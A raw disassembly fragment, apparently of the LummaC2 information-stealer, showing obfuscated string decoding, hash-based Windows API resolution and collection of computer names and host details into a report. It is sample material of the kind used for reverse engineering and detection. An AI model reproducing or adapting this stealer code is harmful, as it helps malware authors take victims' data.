sub dl, 0xff
sub cl, dl
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov byte [0x4778fe], cl
mov al, byte [0x4778f6]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 2
xor al, 0xff
and al, 0xfd
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x4778ff], cl
mov cl, byte [0x4778f7]
mov dl, cl
and dl, 0xff
shl dl, 1
mov al, cl
add al, 0xff
sub al, dl
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov ah, cl
sub ah, dl
and al, ah
xor al, 0xff
and al, 0xe8
xor cl, 0xff
mov dl, cl
xor dl, 0xe8
and dl, cl
or al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
mov byte [0x477900], cl
mov al, byte [0x4778f8]
xor al, 0x2f
mov byte [0x477901], al
mov ch, byte [0x4778f9]
mov cl, ch
and cl, 0x10
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0xf0
xor edx, edx
sub dl, al
add ch, dl
mov byte [0x477902], ch
mov al, byte [0x4778fa]
xor al, 0x4d
mov byte [0x477903], al
mov al, byte [0x4778fb]
xor al, 0xca
mov byte [0x477904], al
mov al, byte [str.Rr_q]
mov cl, al
and cl, 0x52
shl cl, 1
add al, 0x52
sub al, cl
mov byte [0x477905], al
mov al, byte [0x477910]
xor al, 0x2a
mov byte [0x477930], al
mov al, byte [0x477911]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x41
xor al, 0xff
or al, 0xbe
and cl, al
xor cl, 0xff
mov byte [0x477931], cl
mov al, byte [0x477912]
xor al, 0x4d
mov byte [0x477932], al
mov al, byte [0x477913]
mov cl, al
and cl, 0xb9
shl cl, 1
add al, 0xb9
sub al, cl
mov byte [0x477933], al
mov al, byte [0x477914]
mov cl, al
xor cl, 0xff
and cl, 0xf2
and al, 0xd
or cl, al
xor cl, 0x16
mov byte [0x477934], cl
mov al, byte [0x477915]
mov cl, al
xor cl, 0xd3
xor cl, 0xff
and cl, 0xd3
shl cl, 1
sub cl, 0xd3
sub al, cl
mov byte [0x477935], al
mov ch, byte [0x477916]
mov cl, ch
xor cl, 0xff
mov al, ch
xor al, 0xff
or cl, al
xor cl, 0xff
or cl, 0x4f
mov al, ch
and al, 0x4f
xor al, 0xff
and cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xb0
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0xb0
sub ch, al
mov byte [0x477936], ch
mov ch, byte [0x477917]
mov al, ch
xor al, 0xff
and al, 0x7a
mov cl, ch
and cl, 0x85
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x14
and al, 0xeb
or cl, al
xor cl, 0xeb
and cl, 0x7a
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0x7a
sub ch, al
mov byte [0x477937], ch
mov al, byte [0x477918]
xor al, 0x70
mov byte [0x477938], al
mov al, byte [0x477919]
xor al, 0x84
mov byte [0x477939], al
mov cl, byte [0x47791a]
mov al, cl
or al, al
xor al, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and al, 0x2c
or cl, 0x2c
xor cl, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
or al, cl
xor al, 0xff
or dl, al
xor dl, 0xff
xor dl, 0xff
mov byte [0x47793a], dl
mov al, byte [0x47791b]
mov cl, al
xor cl, 0xff
and cl, 0x21
and al, 0xde
or cl, al
xor cl, 0xc9
mov byte [0x47793b], cl
mov al, byte [0x47791c]
xor al, 0xc5
mov byte [0x47793c], al
mov al, byte [0x47791d]
xor al, 0xb7
mov byte [0x47793d], al
mov al, byte [0x47791e]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0x39
xor cl, 0xff
and al, al
xor al, 0xff
and al, 0x39
xor al, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, al
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x47793e], dl
mov al, byte [0x47791f]
xor al, 0x46
mov byte [0x47793f], al
mov al, byte [0x477920]
xor al, 0xca
mov byte [0x477940], al
mov al, byte [0x477921]
xor al, 0x91
mov byte [0x477941], al
mov al, byte [0x477922]
xor al, 0xff
mov byte [0x477942], al
mov al, byte [0x477923]
xor al, 0x33
mov byte [0x477943], al
mov al, byte [0x477924]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xe
and al, 0xf1
or dl, al
mov byte [0x477944], dl
mov al, byte [0x477945]
mov cl, al
xor cl, 0xff
and cl, 0x80
mov dl, al
and dl, 0x7f
or cl, dl
xor cl, 0x7f
mov ah, al
xor ah, 0xff
and ah, 0xcb
mov dl, al
and dl, 0x34
or ah, dl
xor ah, 0x34
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
xor dl, 0xff
and dl, 0xcb
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x34
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0xff
mov byte [0x477950], cl
mov ch, byte [0x477946]
mov cl, ch
or cl, cl
xor cl, 0xff
or cl, 0xd5
xor cl, 0xff
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x2a
sub ch, al
mov byte [0x477951], ch
mov al, byte [0x477947]
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov cl, al
sub cl, dl
and cl, 0xf
or al, al
xor al, 0xff
or al, 0xf
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ah, al
xor ah, 0xff
and dl, ah
xor cl, 0xff
xor al, 0xff
and cl, al
or dl, cl
xor dl, 0xff
mov byte [0x477952], dl
mov al, byte [0x477948]
xor al, 0x10
mov byte [0x477953], al
mov al, byte [0x477949]
xor al, 0x3c
mov byte [0x477954], al
mov al, byte [0x47794a]
xor al, 0x39
mov byte [0x477955], al
mov cl, byte [0x47794b]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0xce
xor dl, 0xff
or al, 0xce
and al, dl
mov dl, cl
xor dl, 0x31
xor dl, 0xff
or cl, 0x31
and cl, dl
or al, cl
xor al, 0x44
mov byte [0x477956], al
mov al, byte [0x47794c]
xor al, 0xa3
mov byte [0x477957], al
mov al, byte [0x47794d]
mov cl, al
xor cl, 0xff
or cl, 0x4f
xor cl, 0xff
and cl, 0xff
shl cl, 1
add al, 0xb0
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x477958], al
mov al, byte [0x47794e]
mov cl, al
xor cl, 0xff
and cl, 0x8e
and al, 0x71
or cl, al
xor cl, 0xa3
mov byte [0x477959], cl
mov al, byte [0x47794f]
xor al, 0xdc
mov byte [0x47795a], al
mov al, byte [0x4779bc]
xor al, 0x3f
mov byte [0x4779c9], al
mov cl, byte [0x4779bd]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0xac
and al, 0xac
and cl, 0x53
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov byte [0x4779ca], al
mov al, byte [0x4779be]
xor al, 0xe8
mov byte [0x4779cb], al
mov al, byte [0x4779bf]
xor al, 0xf0
mov byte [0x4779cc], al
mov cl, byte [0x4779c0]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x57
xor cl, 0xff
or cl, 0xa8
and al, cl
xor al, 0xff
mov byte [0x4779cd], al
mov al, byte [0x4779c1]
mov cl, al
xor cl, 0x4a
xor cl, 0xff
and cl, 0x4a
shl cl, 1
sub cl, 0x4a
sub al, cl
mov byte [0x4779ce], al
mov al, byte [0x4779c2]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0xfe
xor al, 0xff
or al, 1
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4779cf], cl
mov al, byte [0x4779c3]
xor al, 0xdb
mov byte [0x4779d0], al
mov al, byte [0x4779c4]
mov cl, al
xor cl, 0xff
and cl, 0xfb
and al, 4
or cl, al
xor cl, 0x38
mov byte [0x4779d1], cl
mov al, byte [0x4779c5]
xor al, 0xda
mov byte [0x4779d2], al
mov ch, byte [0x4779c6]
mov cl, ch
and cl, 0x5a
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0xa6
sub ch, al
mov byte [0x4779d3], ch
mov al, byte [0x4779c7]
xor al, 0xea
mov byte [0x4779d4], al
mov al, byte [0x4779c8]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xe
xor cl, 0xff
xor al, 0xff
or al, 0xe
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4779d5], cl
mov al, byte [0x4779f0]
mov cl, al
and cl, 0xba
shl cl, 1
add al, 0xba
sub al, cl
mov byte [0x477a10], al
mov al, byte [0x4779f1]
mov cl, al
xor cl, 0xff
xor cl, 0xff
or cl, 0xbc
xor cl, 0xff
and cl, 0xff
or al, al
xor al, 0xff
or al, 0x43
xor al, 0xff
or cl, al
mov byte [0x477a11], cl
mov al, byte [0x4779f2]
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov byte [0x477a12], al
mov al, byte [0x4779f3]
xor al, 0xc7
mov byte [0x477a13], al
mov al, byte [0x4779f4]
xor al, 0xcf
mov byte [0x477a14], al
mov ch, byte [0x4779f5]
mov cl, ch
xor cl, 0xff
mov al, ch
xor al, 0xff
and cl, al
or cl, 0x85
xor cl, 0xff
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x7a
sub ch, al
mov byte [0x477a15], ch
mov al, byte [0x4779f6]
xor al, 0x2b
mov byte [0x477a16], al
mov al, byte [0x4779f7]
xor al, 0xae
mov byte [0x477a17], al
mov al, byte [str._gU]
mov cl, al
xor cl, 0xff
and cl, 0xc
mov dl, al
and dl, 0xf3
or cl, dl
xor cl, 0xf3
and cl, 0xbe
and al, 0x41
or cl, al
mov byte [0x477a18], cl
mov al, byte [0x4779f9]
mov cl, al
xor cl, 0xff
and cl, 0xf4
and al, 0xb
or cl, al
mov byte [0x477a19], cl
mov al, byte [0x4779fa]
mov cl, al
xor cl, 0xff
and cl, 0x65
mov dl, al
and dl, 0x9a
or cl, dl
xor cl, 3
xor cl, 0xff
and cl, 0x66
shl cl, 1
add cl, 0x69
sub cl, 0x66
sub cl, 0x69
sub al, cl
mov byte [0x477a1a], al
mov cl, byte [0x4779fb]
mov dl, cl
and dl, dl
xor dl, 0xff
mov al, cl
add al, al
add al, 1
add al, dl
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
xor al, 0xff
xor al, 0xff
or al, 0xf9
xor al, 0xff
and al, 0xff
or cl, 6
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xb2
and dl, 0x4d
or cl, dl
xor cl, 0x4d
mov dl, al
add dl, 1
xor al, 0xff
or al, cl
add al, dl
mov byte [0x477a1b], al
mov al, byte [0x4779fc]
mov cl, al
and cl, 0x38
shl cl, 1
sub al, 0xa
add al, 0x38
add al, 0xa
sub al, cl
mov byte [0x477a1c], al
mov al, byte [0x4779fd]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
mov dl, cl
xor dl, 0xff
or dl, 0x3e
and cl, 0xc1
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x5a
and dl, 0xa5
or cl, dl
xor cl, 0xa5
and al, 0x3e
xor al, 0xff
xor cl, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, dl
and ah, 0x2b
and cl, 0xd4
mov dh, ch
and dh, 0x2b
and al, 0xd4
or ah, cl
or dh, al
xor ah, dh
or dl, ch
xor dl, 0xff
and dl, 0xff
or ah, dl
mov byte [0x477a1d], ah
mov cl, byte [0x4779fe]
mov dl, cl
and dl, 0xff
shl dl, 1
mov al, cl
add al, 0xff
sub al, dl
and al, 0xe7
mov dl, cl
xor dl, 0xff
or dl, 0xe7
and cl, 0x18
xor cl, 0xff
and dl, cl
xor dl, 0xff
or al, dl
xor al, 0x7d
mov byte [0x477a1e], al
mov al, byte [0x4779ff]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0xc0
and al, 0x3f
or cl, al
mov byte [0x477a1f], cl
mov al, byte [0x477a00]
xor al, 0x4b
mov byte [0x477a20], al
mov al, byte [0x477a01]
xor al, 0xdd
mov byte [0x477a21], al
mov al, byte [0x477a02]
xor al, 0x9d
mov byte [0x477a22], al
mov al, byte [0x477a03]
xor al, 0xec
mov byte [0x477a23], al
mov al, byte [0x477a04]
xor al, 0xa4
mov byte [0x477a24], al
mov al, byte [0x477a05]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x93
xor cl, 0xff
and al, 0x6c
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x477a25], cl
mov ecx, ebx
mov al, byte [0x477a06]
xor al, 0x4d
mov byte [0x477a26], al
mov al, byte [0x477a07]
xor al, 0xd1
mov byte [0x477a27], al
jmp 0x44c958
mov dword [0x478860], 1
push eax
mov eax, esp
mov dword [esi + 0xb4], eax
push eax
mov edi, esp
mov dword [esi + 0x28], edi
push eax
mov ebx, esp
mov dword [esi + 0x24], ebx
push eax
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x10], esp
push eax
mov dword [esi], esp
push eax
mov dword [esi + 0x2c], esp
push eax
mov dword [esi + 0x34], esp
push eax
mov dword [esi + 0x30], esp
sub esp, 8
mov dword [esi + 0x38], esp
push eax
mov dword [esi + 0x40], esp
push eax
mov dword [esi + 0x3c], esp
sub esp, 0xc
mov dword [esi + 0x44], esp
sub esp, 0x100
mov dword [esi + 0x4c], esp
push eax
mov dword [esi + 4], esp
sub esp, 0xc
mov dword [esi + 0x48], esp
sub esp, 0x100
mov dword [esi + 0x50], esp
sub esp, 0x10
mov dword [esi + 0x54], esp
sub esp, 0x100
mov dword [esi + 0x58], esp
sub esp, 0x1c
mov dword [esi + 0x5c], esp
sub esp, 0x100
mov dword [esi + 0x60], esp
sub esp, 0x18
mov dword [esi + 0x64], esp
sub esp, 0x10
mov dword [esi + 0x6c], esp
push eax
mov dword [esi + 0x68], esp
push eax
mov dword [esi + 0x14], esp
sub esp, 0x10
mov dword [esi + 0x70], esp
sub esp, 0xc
mov dword [esi + 0x18], esp
sub esp, 0x200
mov dword [esi + 0x74], esp
sub esp, 0x18
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0x80], esp
push eax
mov dword [esi + 0x7c], esp
push eax
mov dword [esi + 0x84], esp
sub esp, 0x10
mov dword [esi + 0x88], esp
sub esp, 0x10
mov dword [esi + 0x8c], esp
push eax
mov dword [esi + 8], esp
sub esp, 0x10
mov dword [esi + 0x90], esp
sub esp, 0x1a8
mov dword [esi + 0x94], esp
push eax
mov dword [esi + 0x98], esp
sub esp, 8
mov dword [esi + 0x9c], esp
sub esp, 8
mov edx, esp
and edx, 0xfffffff8
mov dword [esi + 0xa0], edx
mov esp, edx
push eax
mov dword [esi + 0xa4], esp
push eax
mov dword [esi + 0x1c], esp
sub esp, 0x20
mov dword [esi + 0xa8], esp
push eax
mov dword [esi + 0xac], esp
sub esp, 0x18
mov dword [esi + 0xb0], esp
mov dword [eax], ecx
sub esp, 8
mov dword [esp + 4], str.user32.dll
mov dword [esp], 0x3d95e230
call fcn.0044f280
add esp, 4
mov dword [esp], 0
call eax
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], str.user32.dll
mov dword [esp], 0x3d95e230
call fcn.0044f280
add esp, 4
mov dword [esp], 1
call eax
mov dword [ebx], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x20
call fcn.00457787
add esp, 8
mov edi, dword [esi + 0xc]
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x20
call fcn.00457787
add esp, 8
mov ebx, dword [esi + 0x10]
mov dword [ebx], eax
mov eax, dword [edi]
mov ecx, dword [esi + 0x28]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.00456c44
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi + 0x24]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.00456c44
add esp, 4
mov dword [esp + 4], 1
mov dword [esp], 0x4000
call fcn.00457787
add esp, 8
mov edi, dword [esi]
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], str.LummaC2__Build:_Nov_22_2023_n
call fcn.00457fa0
add esp, 4
mov dword [esp], str.41f77d2b0dbe39030d82104620d7346f68cd5d
call fcn.004458e0
add esp, 4
mov ecx, dword [esi + 0x2c]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ebx, ecx
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00457bd5
add esp, 4
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], str.SdDgBv__ANDREFO
call fcn.00457fa0
mov dword [esp + 4], 1
mov dword [esp], 0x8000
call fcn.00457787
add esp, 8
mov edi, dword [esi + 0x34]
mov dword [edi], eax
mov ebx, dword [esi + 0x30]
mov dword [ebx], 0x8000
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0xa2f80070
call fcn.0044f280
add esp, 8
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], ecx
call eax
mov eax, dword [str._C]
mov ecx, dword [esi + 0x38]
mov dword [ecx + 3], eax
mov eax, dword [0x4779dd]
mov dword [ecx], eax
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
mov dword [esp + 4], 1
mov dword [esp], 0x8000
call fcn.00457787
add esp, 8
mov edi, dword [esi + 0x40]
mov dword [edi], eax
mov ebx, dword [esi + 0x3c]
mov dword [ebx], 0x8000
sub esp, 8
mov dword [esp + 4], str.advapi32.dll
mov dword [esp], 0x23fef64a
call fcn.0044f280
add esp, 8
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], ecx
call eax
mov al, byte [0x477a39]
mov ecx, dword [esi + 0x44]
mov byte [ecx + 8], al
mov eax, dword [0x477a35]
mov dword [ecx + 4], eax
mov eax, dword [0x477a31]
mov dword [ecx], eax
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov edi, dword [esi + 0x4c]
mov dword [esp + 4], edi
mov dword [esp], 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x477957]
mov ecx, dword [esi + 0x48]
mov dword [ecx + 7], eax
mov eax, dword [0x477954]
mov dword [ecx + 4], eax
mov eax, dword [0x477950]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
mov edi, ebx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov ebx, dword [esi + 0x50]
mov dword [esp + 4], ebx
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov ax, word [0x477975]
mov ecx, dword [esi + 0x54]
mov word [ecx + 0xc], ax
mov eax, dword [0x477971]
mov dword [ecx + 8], eax
mov eax, dword [0x47796d]
mov dword [ecx + 4], eax
mov eax, dword [0x477969]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov ebx, dword [esi + 0x58]
mov dword [esp + 4], ebx
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x4779b8]
mov ecx, dword [esi + 0x5c]
mov dword [ecx + 0x18], eax
mov eax, dword [0x4779b4]
mov dword [ecx + 0x14], eax
mov eax, dword [0x4779b0]
mov dword [ecx + 0x10], eax
mov eax, dword [0x4779ac]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4779a8]
mov dword [ecx + 8], eax
mov eax, dword [0x4779a4]
mov dword [ecx + 4], eax
mov eax, dword [0x4779a0]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
mov ebx, edi
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov edi, dword [esi + 0x60]
mov dword [esp + 4], edi
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x477a24]
mov ecx, dword [esi + 0x64]
mov dword [ecx + 0x14], eax
mov eax, dword [0x477a20]
mov dword [ecx + 0x10], eax
mov eax, dword [0x477a1c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x477a18]
mov dword [ecx + 8], eax
mov eax, dword [0x477a14]
mov dword [ecx + 4], eax
mov eax, dword [0x477a10]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 4
mov edi, dword [esi + 0x6c]
mov dword [esp], edi
call fcn.0044f9b0
add esp, 4
mov ebx, dword [esi + 0x68]
mov dword [ebx], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x800
call fcn.00457787
add esp, 8
mov ecx, dword [esi + 0x14]
mov dword [ecx], eax
mov eax, edi
mov edi, dword [eax + 8]
mov edx, dword [eax]
mov dword [esi + 0x20], edx
mov edx, dword [eax + 4]
mov ebx, dword [ebx]
mov ebx, dword [ebx*4 + 0x477860]
mov eax, dword [ecx]
sub esp, 0x1c
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edx
mov ecx, dword [esi + 0x20]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ebx
mov dword [esp], eax
mov dword [esp + 8], str._s___d._d._d_
mov dword [esp + 4], 0x7ff
call fcn.0044a5b0
add esp, 0x1c
mov eax, dword [0x4778f0]
mov ecx, dword [esi + 0x70]
mov dword [ecx + 0xb], eax
mov eax, dword [0x4778ed]
mov dword [ecx + 8], eax
mov eax, dword [0x4778e9]
mov dword [ecx + 4], eax
mov eax, dword [0x4778e5]
mov dword [ecx], eax
mov edi, dword [esi]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov al, byte [0x477905]
mov ecx, dword [esi + 0x18]
mov byte [ecx + 8], al
mov eax, dword [0x477901]
mov dword [ecx + 4], eax
mov eax, dword [0x4778fd]
mov dword [ecx], eax
sub esp, 0xc
mov edi, dword [esi + 0x74]
mov dword [esp], edi
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
call fcn.00452cd0
add esp, 8
mov dword [esp], edi
call fcn.00445390
add esp, 4
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov ecx, dword [esi + 0x18]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 4
mov dword [esp], edi
call fcn.0042fa60
add esp, 4
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov al, byte [0x477944]
mov ecx, dword [esi + 0x78]
mov byte [ecx + 0x14], al
mov eax, dword [0x477940]
mov dword [ecx + 0x10], eax
mov eax, dword [0x47793c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x477938]
mov dword [ecx + 8], eax
mov eax, dword [0x477934]
mov dword [ecx + 4], eax
mov eax, dword [0x477930]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46bb02
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 0x10]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
mov dword [esp + 4], 2
mov dword [esp], 0x55
call fcn.00457787
add esp, 8
mov ebx, dword [esi + 0x80]
mov dword [ebx], eax
mov edi, dword [esi + 0x7c]
mov dword [edi], 0x55
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0x2f9959e0
call fcn.0044f280
add esp, 8
mov ecx, dword [edi]
mov edx, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x55
call fcn.00457787
add esp, 8
mov edi, dword [esi + 0x84]
mov dword [edi], eax
mov eax, dword [ebx]
mov ecx, dword [edi]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0x55
call fcn.0045bb42
add esp, 0xc
mov al, byte [0x4779d5]
mov ecx, dword [esi + 0x88]
mov byte [ecx + 0xc], al
mov eax, dword [0x4779d1]
mov dword [ecx + 8], eax
mov eax, dword [0x4779cd]
